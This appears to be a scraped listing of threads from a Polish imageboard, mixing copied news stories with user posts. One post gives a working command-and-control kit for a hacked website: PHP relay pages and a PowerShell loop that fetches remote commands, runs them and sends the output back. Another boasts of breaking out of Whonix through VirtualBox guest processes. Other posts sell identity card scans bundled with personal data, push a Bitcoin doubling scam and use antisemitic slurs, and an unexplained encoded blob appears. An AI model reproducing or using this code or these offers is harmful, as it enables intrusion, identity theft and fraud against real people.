"Psy specjalne w Służbie Więziennej kontrolują pod kątem wyszukiwania narkotyków pojazdy wjeżdżające na teren jednostek, osoby wchodzące na teren jednostek, pomieszczenia oraz korespondencję i paczki. Często dzięki psom specjalnym Służba Więzienna jest w stanie zapobiec przedostawaniu się na teren jednostek penitencjarnych środków odurzających, bo psiego nosa nie oszukają pomysłowe kryjówki"

- powiedział por. Śpiewak.

R: 1 / I: 0 / P: 6

DZBANY Z POLICYJNEGO /POLIN/ SKARZA SIE NA CAPTCHE XD

R: 16 / I: 13 / P: 6

kek

R: 3 / I: 0 / P: 6

konto fb

Wyjaśni mi ktoś dlaczego nie mogę tworzyć kont na FB,oczywiście z vpn

R: 28 / I: 6 / P: 6

a27cf7eaed83dcd9ffbf71b9eeb13f69

H4sIGIT6D18A/3ZlZ2V0YS50YXIALTZl

MTE4NzNiOWQ5ZDk0YTQ0MDU4YmVmNTc0

NzczNWNlLQDtVc1u4zYX9VpPcb3rwjHS

JJMsgyQFiplppwEyQIDZXUmsRVMSDZKC

Ki6NGn2GII/R3YfsKr3XnEvbTV9gig9o

CNiweP/POVfu2VeFLYxfht/C7NucU5zL

y4vZ6fH5H/c4Zxfvzmbfn1+dnl9dvTs7

PZf7q4uLy7/9vunpfGCHkv9Grf/D8wv1

enwyPqqVpeC6srUUu6LiRZZ9YEP5MG3p

IahflaHbzhVxaA7WE/rA1GpjEeiRA78V

5XY9Ps2z7K6y4x/5IHfl9L8+fS+XSwqW

SuvDwetR10Zfyz1S6aKigqftuKO4cgyP

LLu3kXO95oY0baxJt4j7rKjSqh0WFBTV

3GzYhQHXaATRZc3USDNo1sNhehEzwm5o

w21QbkC2MKzc4BH0icnHMBjqVWwwRUe+

V2vyG+0l5ifVz6XBu7/+nF6oVj2tlQ/X

czqhj7bQQKjsphfx/MSoFzCAavZ4bGzp

JEqM7ym2mCIIymt8NXZ6LjRQvAPc03ZA

P7WxCzJAakCkWJdZ9hDZcL0AR7VZJKAe

gmOPXNTaXrcsYEhGH/YZjmwybbyYEZJl

391iVA1QEpKRp2eKVHKtjPB4axNzdZcj

dEEr1DegycciwgEFPtqmo6iKqhC7MIgs

jstExRd2HJGTbKG4pbVcy7hJDOMTnpJ6

MFdDRTXkR10lfqp+QE70rGrrYEtABVg3

Liq0GLWafoemgGGSBuj6AvVRCwgg1nGX

a2ELeCGV2JH8BjRJS51vxx20u0pZnhED

VhhlEySP4chS3sFB2vHgK+49IDwOLkJf

jGyhw1gYQGBDqy7KhD9Ymp5bzSUCgCxU

k5KJWeKPI0blEHLYDyFtJaQfrb0TMpJf

AgFF1pirhxeguAd8aA21sUjYOReQjnwz

QGdpiBP6nFQMUjjY+eFJpGnQvHi9+iTx

nJBdF1oV+34ib6DX5HNTVIskbujyRSXB

/6wBKBkrPhDiXnYKRZBaNguftEqHke5h

LoCM0Dfu5nQvbmGAUGA/dPujUCECkpeK

vU7NQUqvzMjN47Q9YLKxTkiFbF+h3rP3

PiXaz7IgP22xgjkniYi+EnnjTqZgYa8Z

fDQgSczyTqlR8XDnsW/A2Fswl7YUmjKM

il45vPG8cWJJa/Qf/YN4O2/n7cxms68r

fL1kKgsAAA==

R: 3 / I: 0 / P: 6

Pedofil retro

Policja z Pucka zatrzymała mężczyznę, który w plastikowej butelce na ulicy zostawił list z treściami nieobyczajnymi adresowanymi do nieletnich. Mężczyzna jest przesłuchiwany przez funkcjonariuszy.

Sprawę, jako pierwszy opisał lokalny portal nadmorski24.pl, do którego zgłosiła się czytelniczka. Jej 10-letnia córka znalazła w plastikowej butelce list - zaproszenie do domu pedofila - podaje serwis. Do butelki zawieszonej na płocie przy ulicy w Pucku przyczepiono też cukierka.

Serwis podaje, ze autor listu zaprasza w nim dzieci w wieku od 7 do 13 lat do swojego mieszkania, składając nieobyczajne propozycje.

Po znalezieniu listu kobieta zgłosiła się do puckiej policji, która zajęła się sprawą. W czwartek funkcjonariusze zatrzymali 40-letniego mieszkańca Pucka.

Jak powiedziała Małgorzata Kotarba z Komendy Powiatowej Policji w Pucku, w czwartek zatrzymanemu postawiono zarzuty przestępstw przeciwko wolności seksualnej i obyczajności. Bliższych informacji w tej sprawie policja na razie nie udziela.

Będziemy wnosić do prokuratora o zastosowanie aresztu tymczasowego

- powiedziała PAP Kotarba.

R: 2 / I: 0 / P: 6

Tylko dzisiaj specjalnie dla moich przyjaciół z Lolifoxa mega okazja do zarobku!

Wyślij 1000$ na poniższy adres BTC i zgarnij 2000$!

bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh

Nie czekaj i zgarnij 1000$!

R: 1 / I: 0 / P: 6

Policjant zapobiegł katastrofie kolejowej

tm

Kontakt z autorem

Podkomisarz Tomasz Bratek z wydziału ruchu drogowego Komendy Wojewódzkiej Policji w Katowicach zapobiegł katastrofie na przejeździe kolejowo-drogowym w Piasku koło Pszczyny (Śląskie). Dziś odebrał podziękowania od władz woj. śląskiego i Kolei Śląskich. Kierująca samochodem wjechała między barierki szlabanu i nie chciała wyjechać, bojąc się… że uszkodzi samochód.

"Bardzo dziękujemy za trzeźwy umysł w tamtym momencie" – mówił podczas briefingu w katowickiej bazie należących do samorządu woj. śląskiego Kolei Śląskich marszałek regionu Jakub Chełstowski. "Dziękujemy za tą bardzo piękną obywatelską postawę" – dodał.

Apel też o zdrowy rozsądek – musi funkcjonować w naszym społeczeństwie. Czasami ludziom wydaje się, że są nieśmiertelni; ci, którzy ich ratują, są bohaterami

– ocenił Chełstowski.

Prezes Kolei Śląskich Aleksander Drzewiecki akcentował, że policjant zapobiegł ludzkiej tragedii – samochód osobowy nie ma bowiem szans z rozpędzonym stukilkudziesięciotonowym pociągiem. Zaznaczył też, że podkomisarz Bratek uchronił od poważnych uszkodzeń pociąg nowej generacji.

Marszałek Chełstowski wtrącił, że koszt powypadkowej naprawy takiej maszyny to setki tysięcy złotych i problemy związane z wyłączeniem jednostki z ruchu. "To powoduje mnóstwo komplikacji, więc jeszcze raz w imieniu samorządu województwa i władz Kolei Śląskich dziękuję" – powtórzył.

Jak relacjonował w podkomisarz, sytuacja miała miejsce dwa tygodnie temu, w niedzielę, w jego czasie wolnym od służby. Policjant zobaczył kierującą, która wjechała na przejazd kolejowo-drogowy, gdy nadawany był sygnał świetlny poprzedzający zamknięcie barier.

Zapora opuściła się, gdy pani była bezpośrednio na torach. Pani zaczęła cofać, ale miejsca było za mało. Być może na skutek strachu czy szoku nie wycofała na tyle, by uszkodzić barierę - było jej szkoda samochodu, jak mówiła. Ja byłem za nią, wyłamałem ten szlaban, zjechała z przejazdu. Pociąg przejechał po kilku sekundach

– opowiadał Bratek.

Ta pani w tych kilku wcześniejszych sekundach nie pozwoliła się przekonać, stała na torach, mówiła że uszkodzi samochód. Zjechała dopiero, gdy uszkodziłem, wyłamałem tę zaporę

– dodał policjant. "Zadziałał strach przed uszkodzeniem pojazdu, bez refleksji, że kontakt z pociągiem skończy się znacznie gorzej" – zaznaczył.

Sytuacja miała miejsce w Piasku w powiecie pszczyńskim, na głównej linii kolejowej Katowice–Czechowice-Dziedzice– Bielsko-Biała.

R: 1 / I: 0 / P: 6

Prawa dzieci są ważniejsze niż prawo pedofila do prywatnego życia i prywatności

Prawa dzieci są ważniejsze niż prawo pedofila do prywatnego życia i prywatności korespondencji - orzekł dziś brytyjski Sąd Najwyższy. Uznał zarazem, że dowody zbierane przez grupy łowców pedofili mogą być użyte jako dowód w śledztwie.

Sprawę wniósł do sądu 37-letni Mark Sutherland, który w 2018 r. przez gejowską aplikację randkową Grindr nawiązał kontakt z 13-letnim chłopcem, do którego wysyłał wiadomości o seksualnym charakterze i z którym się umówił na spotkanie na żywo. Na miejscu okazało się, że profil w aplikacji stworzył członek grupy Groom Resisters Scotland, która poluje w internecie na pedofili. Dwaj członkowie grupy zatrzymali Sutherlanda i przekazali policji, a nagranie z niedoszłego spotkania z 13-latkiem opublikowali w mediach społecznościowych. W sierpniu 2018 r. Sutherland został skazany na dwa lata więzienia, przy czym był to już drugi jego wyrok za podobną sprawę.

Sutherland złożył skargę, a jego prawnicy argumentowali, że został naruszony art. 8 Europejskiej Konwencji Praw Człowieka, który mówi, iż każdy ma prawo do poszanowania swojego życia prywatnego i swojej korespondencji. Argumentowali też, że dowody zostały zdobyte w sposób niezgodny z prawem, zatem nie powinny być uwzględnianie w śledztwie, a ich uwzględnienie będzie cichym przyzwoleniem na działalność takich grup łowców pedofili, które wyręczają policję.

Ale Sąd Najwyższy jednomyślnie odrzucił te argumenty i orzekł, że interesy dzieci mają pierwszeństwo ponad jakimkolwiek interesem pedofila mającym związek z jego przestępczym zachowaniem. Sąd stwierdził, że państwo ma „szczególną odpowiedzialność za ochronę dzieci przed wykorzystywaniem seksualnym przez dorosłych”, w związku z tym prokuratorzy mieli prawo do wykorzystania dowodów zebranych przez Groom Resisters Scotland w celu uzyskania wyroku skazującego. Ponadto wskazano, że ponieważ nie było żadnej wcześniejszej relacji miedzy Sutherlandem a rzekomym 13-latkiem, z której mogłoby wynikać oczekiwanie prywatności, a dodatkowo Sutherland powinien był przewidzieć, że dziecko może informować dorosłych o niepokojących kontaktach.

Jak się szacuje, na terenie Wielkiej Brytanii aktywnych jest ok. 90 internetowych grup łowców pedofili, które przed epidemią koronawirusa przyłapywały średnio ok. 100 pedofili miesięcznie.

R: 2 / I: 0 / P: 7

Weryfikacja Vegety

Jeśli jesteś Vegetą napisz coś debilnego co tylko ja mógłbym napisać.

Jebac Was lolifoxy

R: 5 / I: 0 / P: 7

żydzi atakują mnie

Witam serdecznie was liski, potrzebuję pomocy chodzi o to że najchujowsza sieć orange zablokowała mi internet do prędkości 50 kilobajtów na sekunde przez co nic nie mogę robić a jak już mogę to muszę czekać kilkanaście minut zanim cokolwiek się zrobił i mam do WAS pytanie, jak przechytrzyć żydka i odzyskać internet? Słyszałem że jesteście elitą i wy wyznaczacie internet więc nic nie wiedzący ja postuje z zapytaniem do was

pic unrelated, dałem byle co bo bez bobrazka nie moge tostować

R: 4 / I: 0 / P: 7

Jak zdobyć Luxury girl?

Kurwa jaki rak. A kuki chodzo i to jedzo xD 150 na godzinę bo już mam Ukrainki na twoje miejsce xD

R: 25 / I: 0 / P: 7

Mam wrażenie że to forum należy do kogoś kto chce nas zniszczyć ponieważ usunięto kilka moich komentarzy na temat policji.

R: 5 / I: 2 / P: 7

Nurtujace pytanie

Chlopaki ile wy macie lat? Ciekawe kto stoi za tymi kurwa durnymi wpisami typu sposoby na "wyjebki" albo jakies zdjęcia dzieci.

Wydaje mi się ze 70% z was nie skonczyla nawet 16 lat a juz jestescie skrzywieni.

Powodzenia w przyszłości jak juz odejdziecie od komputera i przestaniecie czytac fora.

R: 0 / I: 0 / P: 7

taki wyglond wasz

R: 0 / I: 0 / P: 7

Wkrótce nie 5G, a 6G!

Południowokoreański koncern technologiczny Samsung w raporcie "Następne hiperłącze dla wszystkich" opisuje swoje prace nad kolejnym standardem przesyłania danych - 6G, który umożliwiłby przesyłanie informacji 50 razy szybciej niż 5G i mógłby zacząć działać w 2028 r.

"Rozpoczęliśmy już badania i rozwój technologii 6G, bazując na doświadczeniach i umiejętnościach, które zebraliśmy podczas prac nad wieloma generacjami technologii komunikacyjnych, w tym 5G" - powiedział szef pracującego nad projektem centrum badawczego koncernu Czoj Sung Hiun.

Chociaż wdrażanie standardu 5G jest wciąż w początkowej fazie, zdaniem Czoja "nigdy nie jest za wcześnie, by rozpocząć przygotowania do 6G", ponieważ od pierwszych badań do komercjalizacji nowej generacji technologii komunikacyjnej mija około 10 lat.

Według opublikowanego we wtorek raportu nowy standard przesyłu danych - 6G mógłby być gotowy w 2028 r., a jego masowa komercjalizacja byłaby możliwa około 2030 r.

Samsung przewiduje, że technologia 6G umożliwi przesyłanie danych z prędkością 1000 Gb/s - 50 razy szybciej niż w standardzie 5G i przyczyni się do rozpowszechnienia zaawansowanych usług, takich jak "prawdziwie wciągająca" rzeczywistość rozszerzona.

Jak informuje francuska telewizja BFM TV pracę nad rozwojem 6G ogłosił również w październiku 2019 r. chiński koncern Huawei.

R: 7 / I: 0 / P: 7

Tor im nie pomógł

Poszukiwanych od kilku lat przez wymiar sprawiedliwości dwóch mężczyzn, jednego z Radomia, drugiego z Garwolina, zatrzymali w ostatnim czasie policjanci z Sekcji Poszukiwań i Identyfikacji Osób Komendy Wojewódzkiej Policji Radomiu.

Jak poinformował we wtorek Rafał Jeżak z zespołu prasowego mazowieckiej komendy policji, 34-latek z Garwolina był od 2016 roku poszukiwany m.in. przez prokuratury w Lublinie i Siedlcach.

Ciąży na nim podejrzenie, iż szefował zorganizowanej grupie o charakterze zbrojnym, za co kodeks karny przewiduje do 10 lat więzienia. Mężczyzna miał zostać aresztowany, jednak ukrywał się przez kilka lat

– powiedział Jeżak.

Według policji, 34-latek zapuścił brodę, często zmieniał miejsce przebywania, samochody oraz zerwał kontakt z najbliższymi. Posługiwał się fałszywymi dokumentami.

Kilka dni temu policjanci ustalili, że może on się ukrywać w jednej z miejscowości pod Warszawą. Mężczyzna został zatrzymany na terenie powiatu wołomińskiego i trafił do aresztu.

W ubiegłym tygodniu policjanci zatrzymali także 68-latka z Radomia, którego listem gończym za kradzież z włamaniem poszukiwał sąd z Lublina. Mężczyzna miał zasądzoną karę ponad 3 lat więzienia.

Policjanci ustalili, że mężczyzna wrócił z pracy w Niemczech i zaczął pracować na budowie w Polsce. Dowiedzieli się także, że z pracy odbiera go żona i że ukrywa się on w przydomowym garażu. Informacje się potwierdziły, 68-latek został zatrzymany i trafił do aresztu.

R: 0 / I: 0 / P: 7

chcielibyscie tak?

R: 4 / I: 0 / P: 7

Sprzedam Dowody Osobiste + dane

Sprzedam skany D.O.

Wszystkie czyste (nic nie było na nich robione) i nie pochodzą z kradzieży.

Cena 50 zł/za jeden D.O. (Płatność w XMR).

Opcjonalnie:

Do każdego skanu D.O. dodatkowe dane (nazwisko rodowe mamy, imiona rodziców, nr telefonu, adres e-mail itp.)

Cena 60 zł/komplet

Więcej na prv.

[email protected]

(szyfrujemy korespondencje)

R: 0 / I: 0 / P: 7

Nagroda Darwina

W szpitalu zmarła kobieta, która ucierpiała w wypadku na elektrycznej hulajnodze. Doszło do niego pod koniec czerwca – poinformował dziś nadkom. Robert Szumiata ze śródmiejskiej komendy policji.

Do wypadku doszło w nocy 30 czerwca na ulicy Mokotowskiej. Elektryczną hulajnogą podróżowały dwie osoby. Dziewczyna stała z przodu, a chłopak z tyłu.

Jak informowała wcześniej policja, w pewnym momencie kobieta nie zapanowała nad pojazdem i hulajnoga wywróciła się. 23-latka miała ponad 2 promile alkoholu we krwi. Była również pod wpływem narkotyków. 26-letni mężczyzna także miał promil alkoholu we krwi.

23-latka doznała poważnych obrażeń i w ciężkim stanie została odwieziona do szpitala. Jak przekazał w środę PAP nadkom. Robert Szumiata kobieta niestety zmarła.

R: 18 / I: 1 / P: 7

c&c on compromised webapp

https://pastebin.com/sq0GiKdV

—–BEGIN PGP SIGNED MESSAGE—–

Hash: SHA512

________

/ Vegeta_Ssj : Command to Control Server \

\ On Compromised Webapplication /

—————————————-

\ ^__^

\ (oo)\___

(__)\ )\/\

||—-w |

|| ||

email: [email protected]

jid: [email protected] / [email protected]

https://saiyajinz.sytes.net

Scenario: Hacked targeted organization website hosted on external servers (shared hosting). Minimal permissions, no root. No ports can be opened. I don't want a tunnel to ngrok. I want to hide c&c communication in legit webapplication requestes. Create something like a "web terminal" that will execute commands and view output from infected host.

https://i.postimg.cc/XYgzjC5c/1.png

Attacker/Compromised WebApp:

[[email protected] ~]$ pwd

/home/windrcmm

[[email protected] ~]$ mkdir c2 #make it legit

All files I've created:

[[email protected] c2]$ ls

command.txt index.php json.php json.txt output.txt post.php

index.php | Simple page that will send post request with command and display output from infected host. Refreshes every 10 seconds.

<!DOCTYPE html>

<head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><title>c&c</title>

<meta http-equiv="refresh" content="10" />

</head>

<body>

<center>

<form name="krang_to" id="zazdrosna_pala"action="http://localhost/c2/post.php" method="post">

<p>

<b>Enter Command:</b><br>

<input type="text" name="krang" id="zjadl_jaja" class="input" value="" size="112" autocapitalize="off" />

</p></p></form>

<div><object width="700" height="700" data="/c2/json.txt"></object></div>

</center>

</body

</html>

post.php | The php script that will receive the post request with command and save it to the txt file:

<?php

header ('Location: http://localhost/c2');

$handle = fopen("/home/windrcmm/www/c2/command.txt", "w");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fclose($handle);

exit;

?>

json.php | A php script that will receive data in json format sent from an infected station and save it to a text file.

<?php

$jsonString = file_get_contents("php://input");

$myFile = "json.txt";

file_put_contents($myFile,$jsonString);

?>

Target/ Powershell Client:

#CremeDeLaCreme

Endless powershell loop. Download command from legit webapplication server, execute and send back output in json format.

while($true)

{

$res=Invoke-WebRequest “http://localhost/c2/command.txt”

$www = $res.ParsedHtml.body.innerText;$request = $www -replace ‘command=’

$execute = $request | iex | Out-String

$param = @{

Uri = "https://localhost/c2/json.php"

Method = "Post"

Body = $execute

ContentType = "application/json"

}

Invoke-RestMethod @param

}

.htaccess | True evil, htaccess in apache xD convenience is the opposition to security. I secure the path to my c2 by allowing only my and my target ip addresses. You can add second layer by basic authentication.

RewriteEngine on

RewriteCond %{REMOTE_ADDR} !185.10.68.218$

RewriteCond %{REMOTE_ADDR} !98.98.98.98$

RewriteRule ^/?c2 - [F]

Enjoy :)

—–BEGIN PGP SIGNATURE—–

iQETBAEBCgB9FiEEdkePr+T8OnYM3UyACVTIwtMKCJYFAl8M9X1fFIAAAAAALgAo

aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDc2

NDc4RkFGRTRGQzNBNzYwQ0RENEM4MDA5NTRDOEMyRDMwQTA4OTYACgkQCVTIwtMK

CJb9RQQAlMX/m6AXdVOW0NBJOeCNS7GqsGwio5I40p6cioXF2LPuRfv/GWlX4uk8

kLseUXjQm/5yeG8bmhN/XQ+hzqdT3Zflc9YjMGlMZAbX/GL3bHZYZuJ/KprfkqYq

8+2rKYXlXYz7ptY4vcSw8VpxP/9KFxBBgcdD+TYgRpxeEXC54xI=

=mvYJ

—–END PGP SIGNATURE—–

R: 0 / I: 0 / P: 7

Hołownia i Konfederacja zdemaskowani jako naganiacze POKO

"To bardzo niebezpieczna sytuacja, gdy angażuje się tego typu inicjatywy polityczne. Pan Hołownia z panem Bosakiem zebrali dokładnie tyle procent głosów, co Paweł Kukiz. Dla mnie to jest to samo, też wystąpili w sumie jako trzecia siła polityczna" - powiedział Marian Kowalski w rozmowie z Tomaszem Sakiewiczem w Telewizji Republika. Współtwórca Ruchu Narodowego uważa, że udział kandydatów "antysystemowych" w wyborach miał na celu wsparcie "anty PiS-u".

Rozmowa dotyczyła ruchów antysystemowych i pseudo-antysystemowych na polskiej scenie politycznej. Wspominano ruch Pawła Kukiza, Kukiz-15, który w 2015 roku otrzymał dużą liczbę głosów w wyborach prezydenckich.

Mieliśmy tak naprawdę w tym momencie podział na dwa ruchy antysystemowe - Hołownię i Konfederację. To były te dwie "niepartyjne partie", bo w 2015 roku wrzucono to wszystko do jednego worka i jakoś to się wymknęło spod kontroli. Chyba w wyniku ogromnej serii błędów Komorowskiego, a szczególnie Michnika, który najpierw "hodował" Kukiza, a potem jak zobaczył, że nie ten elektorat to odbiera, to nazwał ich gówniarzami

- mówił red. Tomasz Sakiewicz.

Jeśli by jeszcze 100-200 tysięcy głosów konfederatów przepchnęli do Trzaskowskiego, to wygrałby wybory

- dodał.

No tak, to bardzo niebezpieczna sytuacja, gdy angażuje się tego typu inicjatywy polityczne. Pan Hołownia z panem Bosakiem zebrali dokładnie tyle procent głosów, co Paweł Kukiz. Dla mnie to jest to samo, też wystąpili w sumie jako trzecia siła polityczna. Generalnie prowadzili tę samą narrację, co Paweł Kukiz, tego antysystemu. Oczywiście jedni byli bardziej liberalni, pan Hołownia zaganiał pod Trzaskowskiego takich bardziej skłonnych do zagłosowania na niego. Natomiast Konfederacja robiła to w białych rękawiczkach, do końca trzymając w szachu, mówiąc "my tam kogoś poprzemy w ostatniej chwili". Oczywiście to się nie stało

- powiedział Marian Kowalski.

Okazało się, że ci rzekomi nowicjusze polityczni z Konfederacji zagrali na nosie poważniejszym siłom politycznym. Niestety, bo to mogło drogo kosztować

- uważa Kowalski, dodając że Konfederacja ma jego zdaniem "na sztandarach wypisane hasła anty PiS".

R: 0 / I: 0 / P: 7

Dni Otwartych Winnic na szlaku wina w Małopolsce

Pięć winnic leżących na Małopolskim Szlaku Winnym uczestniczy w tegorocznej edycji Dni Otwartych Winnic, które rozpoczną się w najbliższą sobotę. Z powodu pandemii koronawirusa, ograniczono liczbę gospodarstw oraz wprowadzono dodatkowe wymogi sanitarne.

Paweł Tokarczyk, prezes Gorczańskiej Organizacji Turystycznej, która jest organizatorem szlaku wina w Małopolsce poinformował, że inicjatywa co roku cieszy się wielkim zainteresowaniem zwiedzających. Także w tym roku krótko po rozpoczęciu zapisów większość miejsc została zarezerwowana.

Ta edycja Dni Otwartych Winnic będzie inna niż pozostałe. Musimy zastosować się do opracowanych wytycznych Ministerstwa Rozwoju i Głównego Inspektora Sanitarnego. Dlatego też ograniczyliśmy grupy do jednej na każdą winnicę i maksymalnie 50 osób w grupie. W tym roku na imprezę nie wejdzie też nikt, kto się wcześniej nie zapisał

- wyjaśnił Tokarczyk.

Spotkania odbywać się będą wyłącznie na przestrzeni otwartej z zachowaniem dystansu społecznego. Wszyscy uczestnicy Dni będą musieli złożyć oświadczenia COVID-19 o stanie zdrowia. Badana będzie temperatura u uczestników przed wejściem na każde spotkanie. Każdy z uczestników będzie musiał się wyposażyć w maseczkę lub przyłbicę, rękawiczki, swój długopis oraz kieliszek do degustacji.

W ramach projektu w tym sezonie odbędzie się pięć spotkań w wybranych małopolskich winnicach. W sobotę 18 lipca enoturyści spotkają się w winnicy Nowizny na pograniczu Pogórza Rożnowskiego i Beskidu Wyspowego, która w 2019 r. przyłączyła się do szlaku. Następnego dnia będą gościć w nieodległej winnicy Chronów, na granicy Krajobrazowego Parku Wiśnicko-Lipnickiego.

W dwa sierpniowe weekendy zaplanowano zwiedzanie winnicy Uroczysko w dolinie Dunajca (8 sierpnia), winnicy Chodorowa na Pogórzu Rożnowskim (9 sierpnia) oraz winnicy Manru w dolinie rzeki Białej (16 sierpnia).

Jak zaznaczył Tokarczyk, wszystkie gospodarstwa znajdują się na wytyczonym siedem lat temu Małopolskim Szlaku Winnym. Jego zdaniem, główną ideą szlaku jest zachęcenie turystów do odkrywania małopolskich winnic, spotkań z ich właścicielami, odkrywania dziedzictwa oraz obcowania z przyrodą regionu.

W ramach projektu zostały zinwentaryzowane winnice w Małopolsce, a następnie połączono je szlakiem. Na początek wytypowano 15 winnic położonych w różnych częściach Małopolski, a z początkiem tego roku na szlaku było już 40 tego typu plantacji. Wszystkie zostały opisane w specjalnym wydawnictwie - autorem opisów jest Wojciech Bosak, projektant wielu winnic, ekspert piszący o winie i wykładowca akademicki.

Małopolski Szlak Winny – wskazał Tokarczyk - to nie tylko winnice, ale i bogata oferta specjalistycznych gospodarstw agroturystycznych, w których serwowane są lokalne produkty.

Według niego gama wyrabianych w Małopolsce win jest szeroka i urozmaicona. Poza klasycznymi winami białymi, czerwonymi i różowymi, wytrawnymi czy półwytrawnymi, w regionie powstają również wina słodkie oraz musujące.

Według danych GOT Małopolska jest obecnie przodującym pod względem liczby winnic regionem w naszym kraju. Do tej pory powstało tam już co najmniej 120 takich plantacji, z których 43 prowadzi zarejestrowaną komercyjną działalność.

R: 8 / I: 6 / P: 7

Nitka zoofilska

normiki wypad

R: 19 / I: 3 / P: 8

chcielibyście taką cytrynkę?

R: 20 / I: 2 / P: 8

Andrzej Duda

jak myślicie - czy andrzej duda dożyje końca swojej drugiej kadencji?

R: 1 / I: 0 / P: 8

Upadłe anioły

Upadłe anioły trzymają się ludzkiego życia również dlatego, że jako anioły nie w pełni oświecone nie potrafiły docenić i w pełni doświadczyć tego, co miały, czyli raju, w którym się przejawiały, mimo że były go świadome, miały więc poczucie straty nie korzystając z tego. Posiadanie wszystkiego było dla nich normą i to stanowiło główny problem. Zazdrościły ludziom tego, że oni nie posiadając pożądanej przez siebie rzeczy, a otwierając się na nią w pewnym momencie, potrafili się nią przez chwile cieszyć. Gryzło więc aniołów sumienie, że mając świadomość swojej doskonałości i życia w raju nie potrafiły się tym tak naprawdę cieszyć i tego w pełni doświadczać. Dlatego postanowiły swój raj porzucić by stać się ludźmi mającymi znacznie mniej, ale mającymi możliwości emocjonalnego doświadczania namiastki szczęścia. Upadłe Anioły upodabniają się do ludzi, więc często przejawiają ich cechy i świadomość typową dla ludzi. Dla anioła pragnącego ludzkiej formy i dostrajającego się do świadomości i wibracji człowieka nie było istotne czy dostraja się do pozytywnych czy negatywnych emocji. Liczył się dla niego jedynie fakt uczłowieczenia i możliwości doświadczania ludzkiego życia za wszelką cenę. Zanegowały więc swą anielskość z przekonaniem, że to ona jest zła i ograniczająca a nie cierpienie typowe dla ludzi oraz wyrzekły się Boga, kontaktu z nim i pomocy z jego strony, co miało gwarantować pełne wyzbycie się anielskości. Anioły, mając do dyspozycji tylko miłość i szczęście nie rozumiały cierpienia i niemocy, wydawało im się to niewiele różniące się od dostępnych im wówczas uczuć, nie rozumiały, że te doświadczenia mogą być nieprzyjemne. Gdy się opamiętały, że te emocje, do jakich się dostrajały nie należą do najprzyjemniejszych było już za późno. Jako anioły mogły wszystko, więc również zaniżyć sobie wibracje i stracić moc, ale jak tu ze świadomością ludzką i brakiem mocy stać się z powrotem aniołem - to był już problem. Problem w tym, że dostrajając się do świadomości i wibracji ludzkiej doszły do wniosku, że muszą uznać za swoje wszelkie aspekty przejawiania się w formie ludzkiej. Miały poczucie, iż tylko to gwarantuje im pełne uczłowieczenie się. Owe anioły były zachłanne na ludzkie przeżycia, doznanie i uczucia a ludzie cechują się częstym przeżywaniem niskich emocji, więc i one były pożądane przez Upadłe anioły. W związku z tymi emocjami zdarza się czasem iż czują wewnętrzną radość, że stały się ludźmi i mogą doświadczać jak ludzie, co było ich największym pragnieniem.

Dlatego teraz często trudno im osiągać sukcesy bez przeżywania negatywnych emocji. To może wyjaśniać niezrozumiałe zadowolenie przeżywaniem negatywnych emocji oraz szybkie wzloty i nagłe upadki niektórych osób. Tłumaczyć to może również niezrozumiałe zachowanie niektórych osób, które przy łatwych i oczywistych możliwościach poprawy jakości swojego życia wolą pozostać w trudnej sytuacji życiowej lub w dołku psychicznym, udając, że takowych możliwości nie widzą i przekonują o tym również innych.

Mogą czuć się również niezadowolone z tego stanu, ale mają wrażenie, że to jest niezbędna składnia człowieka i że to jest cena, jaką się płaci za ludzkie doświadczenia. Dlatego więc takie anioły w pełni się godzą na negatywne emocje, depresje itp. Upadły anioł często nie chce się wywyższać, osiągać poważnych sukcesów w życiu i systematycznie stara się powracać do negatywnych emocji z lęku, że zatraci w sobie człowieczeństwo. Jeśli już odnosi sukcesy, to często je niszczy lub w tym samym czasie przyciąga do siebie sytuacje, które wywołują w nim niskie emocje np.: żalu, pretensji, cierpienia, zawiści, lęku itp. Takie właśnie zachowania charakteryzują anioły chcące upodobnić się do ludzi.

R: 12 / I: 1 / P: 8

Jak wyruchać whonixa w virtualboxowy odbyt

Kiedy w naszym gangstersko-wywrotowo-pedofilskim whonixie wykonamy polecenie

ps -elf | grep VBox

pojawi nam się następująca lista procesów:

Procesy z prawami roota:

/usr/bin/VBoxClient –vmsvga

/usr/sbin/VBoxService

Procesy z prawami konta user:

/usr/bin/VBoxClient –clipboard

/usr/bin/VBoxClient –seamless

/usr/bin/VBoxClient –draganddrop

Ku mojemu wielkiemu rozbawieniu istnieje prosta metoda

takiego kopnięcia procesu /usr/sbin/VBoxService

albo procesów /usr/bin/VBoxClient –clipboard lub /usr/bin/VBoxClient –seamless by skomunikowały się one ze zintegrowanymi przez wirtualkę procesami Virtualboxa na hoście (którym oczywiście jest u was zawsze Windows) i zesrały się w sieć, na przykład wykonując połączenia clearnetowe lub zasysając kawałek pamięci systemu Windows i przerzucając do do pamięci procesu w Whonixie.

A ponieważ procesy hosta Virtualbox mają na tym hoście wysokie uprawnienia, to odpowiednio sterując tym zesraniem się integracji Virtualboxa, można używać maszyny wirtualnej z whonixem jako takiego wielkiego tłustego backdoora którego różne anonki same sobie zainstalowały (jak zwykle to robią z backdoorami).

Oczywiście kluczowe jest to kopnięcie tych procesów od strony whonixa, ale tutaj są dwie dobre wiadomości: nie są potrzebne uprawnienia roota, a użyć można aż kilkunastu poleceń linuxa by uzyskać ten efekt, np wystarczy między innymi komenda "ln".

Czy jestem geniuszem hakowania że to rozgryzłem?

Skądże znowu, wszedlem po prostu na listę dyskusyjną developerów Debiana i przeczytałem listę błędów Virtualbox przez nich wykrytą,

które zgłosil do Oracle po czym zostali przez tę firmę zależną NSA zignorowani.

Ja nie śmiałem zignorować tak dobrej i pożytecznej pracy i dołożę wszelkich starań, by ten wielofunkcyjny backdoor firmy Oracle jak najszybciej pokazał swoją wszechstronność - w czym anonki z lolifox mi pomogą.

R: 8 / I: 0 / P: 8

hive ninebot segway od hive teraz dla freenow

Witam, może każdy z was zna te hulajnogi za darmoszkę, wcześniej hive a teraz pod banderą freenow. Kiedy były w Warszawie to niezły bajzel się zrobił, wtedy Policja i prywatni detektywi wyśledzili gówniarzy, co im zajebali ponad 60 hulajek xD

